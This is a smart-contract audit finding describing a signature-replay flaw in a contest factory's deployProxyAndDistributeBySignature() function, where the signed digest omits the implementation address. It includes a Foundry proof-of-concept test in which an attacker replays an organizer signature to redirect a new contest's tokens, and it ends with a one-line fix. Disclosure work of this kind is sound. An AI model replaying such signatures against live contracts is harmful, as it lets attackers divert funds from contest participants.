Skip to content

Latest commit

 

History

History
103 lines (71 loc) · 5.06 KB

M-02.md

File metadata and controls

103 lines (71 loc) · 5.06 KB

Deploy and distribute signature can be replayed for any implementation

Summary

The organizer signature used in deployProxyAndDistributeBySignature() to execute a distribution can be replayed for any other implementation, as this address isn't included in the hashed payload used to validate the signature.

Vulnerability Details

The deployProxyAndDistributeBySignature() function present in the factory contract can be used to execute a meta-transaction to deploy and distribute a contest on behalf of the organizer.

The implementation relies on a signature that must be crafted by the organizer account. The function hashes the contestId and data payload to produce a digest, that is then used to recover the signer using the given signature, and validates that the signer is in fact the organizer.

Contests, besides having an id and an organizer, are set up using an implementation address which represents the implementation of the distribution contract. Even though the implementation input variable is validated by calculating the salt and checking that its associated close time is not zero (which means it was effectively set up by the owner), this variable isn't part of the signature. A signature will be valid for any implementation value, as long as the organizer and contest id stay the same.

This means that a bad actor can use the signature included in a transaction to deployProxyAndDistributeBySignature() to replay the distribution of a different contest (same organizer and id, different implementation). For example this can be used by the winner of a previous contest to execute the distribution of a different contest, which will end up sending the new distribution tokens to himself, or it can just be abused by a griefer to disrupt the protocol.

Proof of Concept

In the following test, the signature created first by the organizer for the contest with implementationA is later replayed by an attacker for the contest with implementationB.

Note: the snippet shows only the relevant code for the test. Full test file can be found here.

function test_PoC_M02() public {
    bytes32 contestId = keccak256("a contest id");
    uint256 closeTime = block.timestamp + 1 weeks;
    address implementationA = address(new Distributor(address(factory), stadium));
    address implementationB = address(new Distributor(address(factory), stadium));

    // owner setups contest with implementation A
    vm.prank(owner);
    factory.setContest(organizer, contestId, closeTime, implementationA);

    // simulate tokens send to distribution
    address proxy = factory.getProxyAddress(_calculateSalt(organizer, contestId, implementationA), implementationA);
    tokenA.mint(proxy, 1000e18);

    // move to close time
    vm.warp(closeTime);

    // organizer signs distribution
    address[] memory winners = new address[](1);
    winners[0] = winner;

    uint256[] memory percentages = new uint256[](1);
    percentages[0] = 10000 - 500;

    bytes memory data = abi.encodeWithSelector(
        Distributor.distribute.selector,
        address(tokenA), // address token
        winners, // address[] memory winners
        percentages, // uint256[] memory percentages
        "" // dbytes memory data
    );

    bytes32 digest = factory.getDigest(contestId, data);
    (uint8 v, bytes32 r, bytes32 s) = vm.sign(organizerPk, digest);
    bytes memory signature = abi.encodePacked(r, s, v);

    // relayer sends the transaction to execute the distribution
    vm.prank(relayer);
    factory.deployProxyAndDistributeBySignature(organizer, contestId, implementationA, signature, data);

    // assert winner has tokens
    assertEq(tokenA.balanceOf(winner), 950e18);

    // Now owner setups contest with implementation B
    closeTime = block.timestamp + 1 weeks;
    vm.prank(owner);
    factory.setContest(organizer, contestId, closeTime, implementationB);

    // simulate tokens send to distribution
    proxy = factory.getProxyAddress(_calculateSalt(organizer, contestId, implementationB), implementationB);
    tokenA.mint(proxy, 1000e18);

    // move to close time
    vm.warp(closeTime);

    // Attacker replays previous signature targeting the new contest with implementation B
    vm.prank(attacker);
    factory.deployProxyAndDistributeBySignature(organizer, contestId, implementationB, signature, data);

    // tokens now are sent to previous winner!
    assertEq(tokenA.balanceOf(winner), 2 * 950e18);
}

Impact

Medium. The signature included in deployProxyAndDistributeBySignature() can be used to replay the distribution of a different contest.

Tools Used

None.

Recommendations

Add the implementation address to the hashed payload (also see submission "Invalid EIP-712 signature schema" related to how to properly structure the EIP-712 signature).

- bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(contestId, data)));
+ bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(contestId, implementation, data)));